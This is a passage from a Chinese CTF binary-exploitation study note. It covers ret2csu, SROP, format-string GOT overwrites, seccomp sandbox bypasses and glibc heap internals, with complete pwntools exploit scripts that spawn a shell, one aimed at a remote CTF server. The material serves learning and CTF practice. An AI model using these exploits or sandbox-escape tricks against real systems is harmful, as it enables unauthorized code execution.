  2. 设置参数 edi = r15d =1, rsi = r14 = write_got, rdx = r13 = 8

  3. 不能让 jnz 跳转,继续向下执行(继续构造 ROP 链),需要 rbx + 1 = rbp

    rbx = 0, rbp = 1, r12 = write_got

布置好的栈表如下:

由于再一次执行 gadget1 时 rsp 依旧会 +8,因此当我们需要构造 ROP 覆盖返回地址时需要先填充 0x8 的 padding。

例题1:蒸米 linux_x64 level5

64 位程序,只开了 NX。

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}

ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

一个思路是自己构造 ROP 实现系统调用。

很明显可以用的 gadgets 不够。

查看 csu:

overflow = b’a’*128

fake_ebp = b’b’*8

stuff = b’c’*0x38

fake_ret_addr = p64(0)

gadget_1 = 0x400606

gadget_2 = 0x4005f0

利用 csu :

  1. write(rdi =1, rsi=write_got, rdx = 8) 泄露 libc 基址

    rdi = r13 = 1, rsi = r14 = write_got, rdx = r15 = 8, rbx = 0, r12 = write_got, rbp = 1

    1
    2
    3
    4
    5
    payload1 = overflow + fake_ebp + p64(gadget_1) + fake_ret_addr
    payload1 += p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
    payload1 += p64(gadget_2)
    payload1 += stuff
    payload1 += p64(main)
  2. read(rdi=0, rsi=bss_addr, rdx=16) 把 system_addr 和 /bin/sh 字符串写入可读写段

    rdi = r13 = 0, rsi = r14 = bss_addr, rdx = r15 = 16, rbx = 0, r12 = read_got, rbp = 1

    1
    2
    3
    4
    5
    payload2 = overflow + fake_ebp + p64(gadget_1) + fake_ret_addr
    payload2 += p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)
    payload2 += p64(gadget2)
    payload2 += stuff
    payload2 += p64(main)
  3. system(rdi = bss_addr+8 = “/bin/sh”) get shell

    rdi = r13 = bss_addr+8, rsi = r14 = 0, rdx = r15 = 0, rbx =0, r12 = bss_addr, rbp = 1

    1
    2
    3
    4
    5
    payload3 = overflow + fake_ebp + p64(gadget1) + fake_ret_addr
    payload3 += p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
    payload3 += p64(gadget2)
    payload3 += stuff
    payload3 += p64(main)

写出整体的 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
from LibcSearcher import LibcSearcher
elf = ELF('level5')
p = process('./level5')
write_got = elf.got['write']
print("write_got: {}".format(hex(write_got)))
read_got = elf.got['read']
print("read_got: {}".format(hex(read_got)))
main = 0x400564
overflow = b'\x00'*128
fake_ebp = b'\x00'*8
stuff = b'\x00'*0x38
rsp = p64(0)
gadget_1 = 0x400606
gadget_2 = 0x4005f0
bss_addr = 0x601028
payload1 = overflow + fake_ebp + p64(gadget_1) + rsp
payload1 += p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)
payload1 += p64(gadget_2)
payload1 += stuff
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print("step 1:")
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print("write_addr: {}".format(hex(write_addr)))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
print("libc_base: {}".format(hex(libc_base)))
system_addr = libc_base + libc.dump('system')
print("system_addr: {}".format(hex(system_addr)))

payload2 = overflow + fake_ebp + p64(gadget_1) + rsp
payload2 += p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(17)
payload2 += p64(gadget_2)
payload2 += stuff
payload2 += p64(main)
p.recvuntil("Hello, World\n")
print("step 2:")
p.sendline(payload2)
p.sendline(p64(system_addr)+b"/bin\x00")

# gdb.attach(p,'b main')
payload3 = overflow + fake_ebp + p64(gadget_1) + rsp
payload3 += p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(gadget_2)
payload3 += stuff
payload3 += p64(main)
p.recvuntil("Hello, World\n")
print("step 3:")
p.send(payload3)

p.interactive()

这里有一个很奇怪的点,padding 处只使用字符 ‘\x00’ ,否则无法正常 getshell,也不知道是为什么。

总结

ret2xxx 根据 ROP 的 gadgets 来源进行分类。

ret2text:利用程序本身的 gadgets

ret2shellcode:利用输入的 gadgets,栈可执行可以把shellcode写在栈上,有可读可写可执行的段也行。

ret2syscall:利用 syscall 的 gadgets,一般用于静态链接的程序

ret2libc:利用 libc 中存在的 gadgets,适用于程序调用了 libc 中的函数但没有现成的后门函数

ret2csu:程序编译时存在的 gadgets 存在通用性

栈迁移-stack pivot

参考文章:栈迁移原理介绍与应用_Max1z的博客-CSDN博客

条件:

  1. 存在栈溢出且大小至少能覆盖一个返回地址

  2. 存在可以控制内容的内存(栈、堆、bss),并且它们的地址可以被泄露,最简单的就是利用 printf 和 puts 这类函数。

SROP

参考:SROP - CTF Wiki (ctf-wiki.org)

全称为 Sigreturn Oriented Programming。Sigreturn 是一个系统调用,在 unix 系统发生 signal 的时候会被间接地调用。


Unix系统的Signal机制是一种用于进程间通信和处理异步事件的重要机制。Signal是在Unix操作系统中用来通知进程发生了特定事件或异常情况的一种软件中断。当发生这些事件时,操作系统会向目标进程发送一个信号,该进程可以选择捕获、处理或忽略信号。

Sigreturn调用是一个较为特殊的系统调用,用于恢复进程的上下文状态。它通常由信号处理函数中的恢复操作使用,以确保进程在信号处理完成后能够正确返回到原始状态。Sigreturn调用会根据传递给信号处理函数的上下文信息来还原寄存器、堆栈等状态,从而继续执行进程的正常流程。

Sigreturn调用本身不是常规的API函数,而是由操作系统内部处理信号时使用的。在处理信号时,内核会根据信号上下文的保存信息调用sigreturn函数。这确保了进程在接收到信号后可以正确地恢复到之前的状态。


原理

1.内核向进程发起一个 signal,该进程被暂时挂起,进入内核

2.内核为该进程保存相应的上下文,跳转到 signal handler 中处理相应的 signal

3.signal handler 执行完毕,内核为进程恢复之前保存的上下文

4.恢复进程的执行

Linux 下,内核会帮助用户进程将其上下文保存在该进程的栈上,然后在栈顶填上一个地址 rt_sigreturn,这个地址指向一段代码,在这段代码中会调用 sigreturn 系统调用。当 signal handler 执行完之后,ESP/RSP 就指向 rt_sigreturn,这样 signal handler 函数的最后一条指令 ret 会使得执行流跳转到这段 sigreturn 代码,执行 sigreturn 系统调用。

ucontext 和 siginfo 两块合起来就是 Signal Frame。

SROP 利用基于两点:

  1. Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  2. 用户进程上下文保存在栈上,且内核恢复上下文时不校验。

32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

利用 pwntools 可以直接 改写 Signal Frame:pwnlib.rop.srop — Sigreturn Oriented Programming — pwntools 4.10.0 documentation

例题:ciscn_2019_s_3

64 位,开启了 NX。

查看 vuln 函数:

这里直接通过 syscall 调用了 read 和 write。read 处的可溢出量远超 buf 的大小。

gadgets 处将系统调用号设置为了 0xF,明示可以进行 sigreturn 调用。

利用 write 泄露出栈上大小为 0x30 的数据,可以通过动调算出泄露出的地址与存储 buf 的起始地址之间的偏移。这里是 def8 - dee0 = 0x118。即 泄露得到的地址 - 0x118 = buf 首地址。在 buf 中写入 /bin/sh ,这样它的地址就变为已知。

1
2
3
4
5
6
7
8
gdb-peda$ search aaaaaaaa
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd4d07, halting search.
[stack] 0x7fffffffdde0 'aaaaaaaa\n'
gdb-peda$ x/8gx 0x7fffffffdde0
0x7fffffffdde0: 0x6161616161616161 0x000000000000000a
0x7fffffffddf0: 0x00007fffffffde10 0x0000000000400536
0x7fffffffde00: 0x00007fffffffdef8 0x0000000100000000
0x7fffffffde10: 0x0000000000400540 0x00007ffff7a2d830

直接利用现有的 gadgets 进行 signal 调用,通过 SROP 得到 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*

p = remote("node4.buuoj.cn",26299)
context(log_level = 'debug',arch = 'amd64',os = 'linux')
# p = process("./ciscn_s_3")

vuln_addr = 0x04004ED
syscall_ret = 0x0400517
sigreturn = 0x04004DA
# execve('/bin/sh', 0, 0)
# rax 0x59
# rdi '/bin/sh'
# rsi NULL
# rdx NULL

payload1 = b'a'*0x10 + p64(vuln_addr)
p.send(payload1)

p.recv(0x20)

buf_addr = u64(p.recv(8)) - 0x118
print("buf_addr : {}".format(hex(buf_addr)))

p.recv(0x8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = buf_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x0400517

payload2 = b'/bin/sh\x00' + b'a'*0x8 + p64(sigreturn) + p64(syscall_ret) + flat(frame)
p.sendline(payload2)

p.interactive()

格式化字符串

基本格式

1
%[parameter][flags][field width][.precision][length]type
参数 作用
parameter(参数) 通常用于指定要格式化的参数的索引。如果在字符串中有多个参数需要格式化,可以使用参数来指定格式应该应用于哪个参数。一般的用法是通过 n$ 来获取格式化字符串中的指定参数。
flags(标志 用于指定各种格式化选项。一些常见的标志包括:-:左对齐输出。 +:显示正数的正号。 0:用零填充字段宽度。 #:用于不同类型的格式化(例如,八进制或十六进制前缀)。
field width(字段宽度) 用于指定输出字段的最小宽度。如果要格式化的内容不足宽度,可以使用空格或零进行填充,具体取决于标志。例如,%5d 表示输出字段的最小宽度为5个字符。
.precision(精度) 用于指定浮点数或字符串的小数位数或最大字符数。例如,%.2f 表示要输出的浮点数保留2位小数。
length(长度) 用于指定要格式化的参数的长度或大小。通常用于整数类型,例如%ld 表示格式化一个长整数。常见的长度标识符包括 hh(短短整数 1byte)、h(短整数 2byte)、l(长整数 4byte)、ll(长长整数 8byte)等。
type(类型) 指定要格式化的参数的数据类型。一些常见的类型包括:d:整数。f:浮点数。s:字符串。c:字符。x 或 X:十六进制整数。o:八进制整数。

一些举例

%c

通常用来输出单个字符,结合 field width 这个参数,就可以输出大量字符。

例如:

1
printf("%100c",'a');

会输出大量空格:

如果这里没有后面的 ‘a’,依旧可以输出大量空格。

与 %c 同样效果的还有 %d 和 %s。

%p

在格式化字符串漏洞中用来泄露信息。

如下代码:

1
2
3
4
5
6
7
8
9
10
# include<stdio.h>
int main()
{
int a = 0x12345678;
printf("the value of a:");
printf("%p\n",a);
printf("the address of a:");
printf("%p\n",&a);
return 0;
}

输出:

可以分别将 a 以地址的形式输出 、输出 a 的地址。

我们常用 %n$p 来泄露栈上的数据,%n$x 也可以。

%s

可以获取变量对应地址的数据,即将栈中的数据当作一个地址,获取这个地址中的数据,存在 0 截断。

以这个程序为例:

1
2
3
4
5
6
7
8
# include<stdio.h>
int main()
{
char s[100];
scanf("%s",s);
printf(s);
return 0;
}

如果不断地输入 %s 程序肯定会崩溃,因为有的数据无法被解析为正常的地址。

输入aaaa,可以通过动调得出输入字符与格式化字符串的偏移,这里是 6:

pwndbg 自带的 fmtarg 指令可以直接计算出偏移量:

1
2
pwndbg> fmtarg 0xffffd088
The index of format argument : 7 ("\%6$p")

利用该特性可以泄露某个函数的 got 表地址。但是不常用,因为当 PIE 开启时就很难这么干了。一般可利用的数据都会在栈上,确认好偏移之后,利用 %n$p 泄露即可。

这里如果输入的是 aaaa%6$s ,程序就会崩溃,因为 aaaa 不能作为一个合法地址被解析。

%n,%hn,%hhn

最重要的几个。

%n 的作用是把已经成功输出的字符个数写入对应的整形指针参数所指的变量。

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
int a;
printf("%100c%n\n",a,&a);
printf("%d\n",a);
return 0;
}

输出:

可以将 100 写入变量 a 中。而 %n 结合 n$,以 %Xc%Y$n 这样的格式,可以将已经输入的字符数向指定的参数中写入,达成向任意地址写数据。%n 写入 4 字节,%hn 写入 2 字节,%hhn 写入 1 字节。

%a

以 double 型的 16 进制格式输出栈中的变量,当程序开启了 FORTIFY 机制后,printf 在编译时被 __printf_chk 函数替换。相比于 printf ,多了一些限制:1. 不能使用 %n$p不连续地打印,比如说如果要使用 %3$p,则需要同时使用 %1$p%2$p 2. 在使用 n% 的时候会做一些检查

而此时,在可输入字符数量有限的情况下,利用 %a 就可以输出栈顶上方的数据。

原理

1
2
3
4
5
6
7
8
9
# include<stdio.h>
int main()
{
char s[100];
read(0,s,100);
printf("My name is %s,I'm %d years old\n","tom",20);
printf(s);
return 0;
}

32位

输入5个%p,查看栈空间:

继续运行至输出:

1
2
3
pwndbg> c
Continuing.
0x804a008.0x14.0x80491ad.(nil).0x1

可以看到它输出了自格式化字符串之下栈上的内容。

64位

由于 64 位的传参规则不同,参数会先依次存放在 rdi,rsi,rdx,rcx,r8,r9 六个寄存器中。输入 5 个 %p,会依次输出自 rsi 开始的5个寄存器中的值。(rdi 存放 格式化字符串本身)

1
2
3
4
pwndbg> c
Continuing.
0x4052a0(nil)0x1(nil)0x7fffffffdd96
[Inferior 1 (process 12463) exited normally]

也就是说,栈上的参数是从 %6$p 开始的。

例题:wdb_2018_2nd_easyfm

32位,NX。GOT表是可改的。

拥有无限循环的格式化字符串漏洞。

程序首先没有给现成的 system 和 /bin/sh ,需要自己通过泄露 libc 得到。利用格式化字符串漏洞修改 printf 函数的 GOT 表为 system 函数的地址,再次输入 ‘/bin/sh’,即可执行 system(‘/bin/sh’)。

首先泄露 printf 的 GOT 表值,再计算得到 system 地址,最后改写 GOT 表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
from LibcSearcher import*

p = process('./wdb_2018_2nd_easyfmt')
elf = ELF("wdb_2018_2nd_easyfmt")

context(log_level = 'debug',arch = 'i386',os = 'linux')

payload1 = p32(elf.got['printf']) + b'%6$s'
p.recvuntil("repeater?")
p.sendline(payload1)

printf_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(printf_addr))

libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr -libc.dump('printf')
system_addr = libc_base + libc.dump('system')

#payload2 = fmtstr_payload(6,{printf_addr: system_addr})
system_low = system_addr & 0xffff
system_high = (system_addr >> 16) & 0xffff
payload2 = p32(printf_got) + p32(printf_got + 2)
payload2 += b'%' + bytes(str(system_low - 8), "utf-8") + b'c%6$hn'
payload2 += b'%' + bytes(str(system_high-system_low), "utf-8") + b'c%7$hn'

p.sendline(payload2)
p.sendline(b'/bin/sh\x00')

p.interactive()

可以直接利用pwntools的工具,也可以自己构造格式化字符串改写。

sandbox

参考:[原创]Seccomp BPF与容器安全-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

沙箱

沙箱是限制用户行为的计算环境,可以通过各种方式限制沙箱里执行的内容,以确保沙箱的安全性。且其中执行内容不会影响到外部,起到隔离的作用。

在计算机安全领域,沙箱是一种用于安全的运行程序的机制。它常常用来执行那些非可信的程序。非可信程序中的恶意代码对系统的影响将会被限制在沙箱内而不会影响到系统的其它部分。沙箱技术按照一定的安全策略,通过严格限制非可信程序对系统资源的使用来实现隔离。

Seccomp

secure computing mode:是linux kernel支持的一种安全机制。在Linux系统里,大量的系统调用(systemcall)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。通过seccomp,我们限制程序使用某些系统调用,这样可以减少系统的暴露面,同时是程序进入一种“安全”的状态。

SECCOMP_SET_MODE_STRICT

最早(2.2.16版本)被添加进入内核,只允许使用 read, write, _exit, sigreturn 四种系统调用。除了已打开的文件描述符和允许的系统调用,如果发起其它系统调用,内核会使用 SIGKILL 或 SIGSYS 终止该进程。

SECCOMP_SET_MODE_FILTER

Seccomp - Berkley Packet Filter(BPF)

允许用户使用可配置的策略来过滤系统调用

使用 BPF 规则自定义测量 ???

可对任意系统调用及其参数进行过滤

BPF(Berkley Packet Filter)

https://zhuanlan.zhihu.com/p/636162422

工具:seccomp-bpf.h

http://outflux.net/teach-seccomp/step-3/seccomp-bpf.h

利用该工具快速构造 seccomp-bpf filter

使用库函数快速使用 seccomp

绕过沙箱

一般方法:

seccomp BPF与容器安全(上)-阿里云开发者社区 (aliyun.com)

seccomp BPF与容器安全(下)-阿里云开发者社区 (aliyun.com)

使用 shellcode 或 ROP 实现 ORW(Open/openv,Read/readv,Write/writev)

首先使用 开源工具查看 seccomp 规则:https://github.com/david942j/seccomp-tools

特殊思路:

未检查架构:

i386 和 x86-64 下的系统调用号不同,可以利用 retq 指令修改 cs 寄存器为 0x23

cs == 0x23 (32 bit) cs == 0x33(64 bit)

1
2
mov DWORD [rsp+4],0x23
retq

未检查范围:

在 x64 下还可以直接使用 x32-abi绕过

x32为x86-64下的一种特殊的模式,使用64位的寄存器和32位的地址,只需要直接加__X32_SYSCALL_BIT(0x4000000),即原本的 syscall number + 0x4000000

更多:

根据具体规则,结合 syscall 调用表找没被过滤的替代行数,如:execveat openv readv writev

堆利用

是虚拟地址空间的一块连续的线性区域。由低地址向高地址增长。

提供动态分配的内存,允许程序申请大小未知的内存。

在用户与操作系统之间,作为动态内存管理的中间人。响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户进程。管理用户所释放的内存,适时归还给操作系统。

堆的实现有很多种,最常见的 glibc 中堆主要由 ptmalloc2 实现。

堆的基本操作有 malloc,free 等。背后的系统调用主要是 (s)brk 函数以及 mmap, munmap 函数。

虽然程序可能只是向操作系统申请很小的内存,但是为了方便,操作系统会把很大的内存分配给程序。这样的话,就避免了多次内核态与用户态的切换,提高了程序的效率。

我们称这一块连续的内存区域为 arena(可以理解为堆管理器所持有的内存池)。此外,我们称由主线程申请的内存为 main_arena。后续的申请的内存会一直从这个 arena 中获取,直到空间不足。当 arena 空间不足时,它可以通过增加 brk 的方式来增加堆的空间。类似地,arena 也可以通过减小 brk 来缩小自己的空间。

数据结构

chunk

用户申请内存的单位,也是堆管理器管理内存的基本单位。我们称由 malloc 申请的内存为 chunk。malloc() 返回的指针指向一个 chunk 的数据区域。

分类:

按状态 按大小 按特定功能
malloced fast top chunk
free small last remainder chunk
large
tcache

malloced_chunk: 已被分配且填写了相应数据的 chunk

free_chunk: 被释放掉的 malloced_chunk

top_chunk: arena中从未被使用过的内存区域

last_remainder_chunk: malloc分割原 chunk 后剩余的部分

用户区域的大小不等于 chunk_head.size,chunk_head.size = 用户区域大小 + 2 * 字长。

微观结构

malloc_chunk 的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

INTERNAL_SIZE_T是用于内部管理块大小的字大小。默认版本与size_t相同。

一般来说,size_t 在 64 位中是 64 位无符号整数,32 位中是 32 位无符号整数。

prev_size:如果该 chunk 的物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小)是空闲的话,那该字段记录的是前一个 chunk 的大小 (包括 chunk 头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一 chunk 指的是较低地址的 chunk

**size(堆大小对齐)*:堆的大小必须是 2SIZE_SZ 的整数倍,如果不是这样会自动转换成整数倍。32位下,SIZE_SZ=4。64位下,SIZE_SZ=8。32 位系统堆大小为 8 的倍数,64 位为 16 的倍数。由于 8 对应的 2 进制为1000,所以该字段的低三个比特位对 chunk 的大小没有影响,它们从高到低分别表示的是:

  • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1 表示不属于,0 表示属于。
  • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
  • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲 chunk 之间的合并。

fd、bk:chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中。

  • fd:指向下一个(非物理相邻)空闲的 chunk
  • bk:指向上一个(非物理相邻)空闲的 chunk(仅为处于双向链表bin中的free chunk时生效)
  • 通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理

fd_nextsize, bk_nextsize:仅为 large free chunk 时生效。

  • fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  • bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。
  • 一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

一个已被分配的 chunk 中,我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

被释放的 chunk 被记录在链表中(可能是循环双向链表,也可能是单向链表):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

总结:如果一个chunk是空闲的,那有两处会记录它的大小。首先它本身的 size 字段会记录,其次下一个 chunk 也会记录。一般情况下,物理相邻的两个空闲 chunk 会被合并为一个 chunk 。堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk 块。

bin

管理 arena 中空闲 chunk 的结构,以数组的形式存在,数组元素为相应大小的 chunk 链表的链表头,存在于 arena 的 malloc_state 中。

用户释放掉的 chunk 不会马上归还给系统,ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的 chunk。当用户再一次请求分配内存时,ptmalloc 分配器会试图在空闲的 chunk 中挑选一块合适的给用户。这样可以避免频繁的系统调用,降低内存分配的开销。

fast bin

当用户需要的 chunk 的大小小于 fastbin 的最大大小时, ptmalloc 会首先判断 fastbin 中相应的 bin 中是否有对应大小的空闲块,如果有的话,就会直接从这个 bin 中获取 chunk。如果没有的话,ptmalloc 才会做接下来的一系列操作。

特点:

  1. LIFO

  2. glibc 采用单向链表对其中的每个 bin 进行组织

  3. 支持的 chunk 大小一般为 64 字节,最大为 80 字节

  4. fastbin 最多可以支持的 bin 的个数为 10 个,从数据空间为 8 字节开始一直到 80 字节

ptmalloc 默认情况下会调用 set_max_fast(s) 将全局变量 global_max_fast 设置为 DEFAULT_MXFAST,也就是设置 fast bins 中 chunk 的最大值。当 MAX_FAST_SIZE 被设置为 0 时,系统就不会支持 fastbin 。

small bin

每个 chunk 的大小与其所在的 bin 的 index 的关系为:chunk_size = 2 * SIZE_SZ *index。

small bin 中共有 62 个循环双向链表,每个链表中存储的 chunk 大小是一致的。

chunk 的 大小从 (32)16-504 字节,(64)32-1008 字节

特点:

  1. 每个链表都有链表头节点
  2. 采用循环双向链表结构,每个链表都遵循 FIFO 规则。
  3. fast bin 中的 chunk 是有可能被放到 small bin 中去的(大小重合的部分)
large bin

一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内。此外,这 63 个 bin 被分成了 6 组,每组 bin 中的 chunk 大小之间的公差一致。

unsorted bin

unsorted bin 可以视为空闲 chunk 回归其所属 bin 之前的缓冲区。

unsorted bin 处于我们之前所说的 bin 数组下标 1 处。故而 unsorted bin 只有一个链表。且其中的 chunk 处于乱序状态。

其中的 chunk 有三个来源:

  1. 一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

使用情况:

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

top chunk

程序第一次进行 malloc 的时候,heap 会被分为两块,一块给用户,剩下的那块就是 top chunk。其实,所谓的 top chunk 就是处于当前堆的物理地址最高的 chunk。这个 chunk 不属于任何一个 bin,它的作用在于当所有的 bin 都无法满足用户请求的大小时,如果其大小不小于指定的大小,就进行分配,并将剩下的部分作为新的 top chunk。否则,就对 heap 进行扩展后再进行分配。在 main arena 中通过 sbrk 扩展 heap,而在 thread arena 中通过 mmap 分配新的 heap。

需要注意的是,top chunk 的 prev_inuse 比特位始终为 1,否则其前面的 chunk 就会被合并到 top chunk 中。

初始情况下,我们可以将 unsorted chunk 作为 top chunk。

last remainder

在用户使用 malloc 请求分配内存时,ptmalloc2 找到的 chunk 可能并不和申请的内存大小一致,这时候就将分割之后的剩余部分称之为 last remainder chunk ,会存放在 unsort bin 里。top chunk 分割剩下的部分不会作为 last remainder。

arena

arena 的数量和系统的核数有关:

1
2
3
4
For 32 bit systems:
Number of arena = 2 * number of cores.
For 64 bit systems:
Number of arena = 8 * number of cores.

当线程数大于核数的二倍(超线程技术)时,就必然有线程处于等待状态,所以没有必要为每个线程分配一个 arena。

与 thread 不同的是,main arena 作为一个全局变量存在于 libc.so 数据段。

heap_info

用来记录线程所申请的 heap 区域信息的结构。

一般申请的 heap 是不连续的,因此需要记录不同 heap 之间的链接结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#define HEAP_MIN_SIZE (32 * 1024)
#ifndef HEAP_MAX_SIZE
# ifdef DEFAULT_MMAP_THRESHOLD_MAX
# define HEAP_MAX_SIZE (2 * DEFAULT_MMAP_THRESHOLD_MAX)
# else
# define HEAP_MAX_SIZE (1024 * 1024) /* must be a power of two */
# endif
#endif

/* HEAP_MIN_SIZE and HEAP_MAX_SIZE limit the size of mmap()ed heaps
that are dynamically created for multi-threaded programs. The
maximum size must be a power of two, for fast determination of
which heap belongs to a chunk. It should be much larger than the
mmap threshold, so that requests with a size just below that
threshold can be fulfilled without creating too many heaps. */

/***************************************************************************/

/* A heap is a single contiguous memory region holding (coalesceable)
malloc_chunks. It is allocated with mmap() and always starts at an
address aligned to HEAP_MAX_SIZE. */

typedef struct _heap_info
{
mstate ar_ptr; /* 堆对应的arena的地址 */
struct _heap_info *prev; /* 上一个heap_info的地址 */
size_t size; /* 当前堆的大小 */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. 确保对齐*/
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

该数据结构是专门为从 Memory Mapping Segment 处申请的内存准备的,即为非主线程准备的。

malloc_state

